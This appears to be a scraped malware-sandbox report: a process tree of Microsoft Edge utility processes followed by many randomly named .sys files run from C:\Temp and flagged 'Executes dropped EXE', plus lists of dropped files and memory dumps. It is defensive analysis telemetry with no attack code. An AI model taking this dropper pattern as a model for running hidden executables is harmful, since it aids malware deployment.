C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4964,i,7172101379035522754,10331243241451587674,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,8788471038502952002,15548912344081634611,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3292,i,789989550952634917,5831818642310185212,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,4815986677601921436,17263784496569154106,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=944,i,9634285705289956356,16302154973137340161,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5672,i,11764976462756614249,15251654089797470265,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6092,i,9103447176425453521,13368494753609144842,262144 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6868 /prefetch:104⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6584,i,291777656115384527,15873015770370423081,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:144⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Temp\ebwuomgeywrojgbz.sysC:\Temp\ebwuomgeywrojgbz.sys1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Temp\ljdbvtrojg.sysC:\Temp\ljdbvtrojg.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigdyvqoi.sysC:\Temp\qoigdyvqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdxvqniga.sysC:\Temp\lfdxvqniga.sys1⤵
- Executes dropped EXE
-
C:\Temp\ifdxvsqkic.sysC:\Temp\ifdxvsqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\nhfzxusnkf.sysC:\Temp\nhfzxusnkf.sys1⤵
- Executes dropped EXE
-
C:\Temp\upnhfzxrpk.sysC:\Temp\upnhfzxrpk.sys1⤵
- Executes dropped EXE
-
C:\Temp\pjhbzurpjh.sysC:\Temp\pjhbzurpjh.sys1⤵
- Executes dropped EXE
-
C:\Temp\bzwrmjecwu.sysC:\Temp\bzwrmjecwu.sys1⤵
- Executes dropped EXE
-
C:\Temp\tomgdbwtol.sysC:\Temp\tomgdbwtol.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtnljgbytr.sysC:\Temp\vtnljgbytr.sys1⤵
- Executes dropped EXE
-
C:\Temp\sqoigaysqo.sysC:\Temp\sqoigaysqo.sys1⤵
-
C:\Temp\vtnlfdxvqn.sysC:\Temp\vtnlfdxvqn.sys1⤵
-
C:\Temp\snkicausnk.sysC:\Temp\snkicausnk.sys1⤵
-
C:\Temp\nhfcxuspki.sysC:\Temp\nhfcxuspki.sys1⤵
-
C:\Temp\uhfzxrpjhc.sysC:\Temp\uhfzxrpjhc.sys1⤵
-
C:\Temp\hbzurpmgec.sysC:\Temp\hbzurpmgec.sys1⤵
-
C:\Temp\wtrljebwuo.sysC:\Temp\wtrljebwuo.sys1⤵
-
C:\Temp\eywqojgbyt.sysC:\Temp\eywqojgbyt.sys1⤵
-
C:\Temp\bvtqgdywqo.sysC:\Temp\bvtqgdywqo.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
axsqkhfaxs.exe
ebwuomgeywrojgbz.exe
ebwuomgeywrojgbz.sys
i_axsqkhfaxs.exe
i_jetrlgeywr.exe
i_kidavtqkid.exe
i_lgdywqolge.exe
i_nlfdbvqnlg.exe
ifdxvsqkic.sys
jetrlgeywr.exe
kidavtqkid.exe
lfdxvqniga.sys
lgdywqolge.exe
ljdbvtrojg.sys
nhfcxvpnhf.exe
nhfzxusnkf.sys
nlfdbvqnlg.exe
qoigdyvqoi.sys
28c1c802-9203-47ea-8aa4-ce1f766b5cc0.tmp
30957cbd-e7ab-44fd-acda-821dc33d3f7d.tmp
57322295-3506-42ec-84ca-63953caa652d.tmp
5f4eba77-d677-4527-8934-7c703392d42e.tmp
639d1989-e4ee-4dd7-8b75-fe79e6c8109b.tmp
manifest.json
settings.dat
settings.dat
108cf58d-911b-4ccb-8326-0722a82f660b.tmp
32399e8f-9442-463d-ae05-014fc4db718c.tmp
temp-index
the-real-index
d968d0db-10fd-4bb3-afad-d28283c701d6.tmp
dasherSettingSchema.json
53955db5-691f-4a4a-93db-1b191572df8b.tmp
85432389-cc38-4b6f-8420-5fc61807ad15.tmp
f11fc905-d6a3-4391-9a9c-5857d49cd3f7.tmp
d0e2ca0e-fb32-4dc2-8873-b78f886b1c0b.tmp
d1c20941-24d0-49d9-8a19-2d1f61d16f00.tmp
e899bc75-89f7-457c-baad-ecb69b145e2a.tmp
OperationConfig
aaa74fb5-cf2b-4155-9d43-8790f46c342c.tmp
manifest.json
manifest.json
205de064-4d3f-435f-9caf-56834cf7b746.tmp
6d07ce03-7ad0-4a44-b488-3b9d5d1f98d3.tmp
f6a5465a-382a-431d-ba78-4df7b5e008ff.tmp
3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
e01c8d64-96f5-43ba-adb3-58ea8c61b7ea.tmp
metadata.json
f3678e97-86dd-4fe7-b131-e064479c07ed.tmp
messages.json
content.js
c6cc88f1-1d84-401b-b84a-93a7abed8773.tmp
nav_config.json
protocols.json
llm_user_input_extractor_config.json
manifest.json
office_endpoints_list.json
smart_switch_list.json
CreateProcess.exe
memory/1172-515-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1172-486-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2056-662-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2108-629-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2488-666-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2696-514-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3040-436-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3220-582-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3312-562-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3680-701-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3704-540-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4260-754-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4264-527-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4416-686-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5160-727-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5236-64-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5236-471-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5244-566-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5732-586-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6060-705-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6060-617-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6120-731-0x0000000000010000-0x00000000000AB000-memory.dmp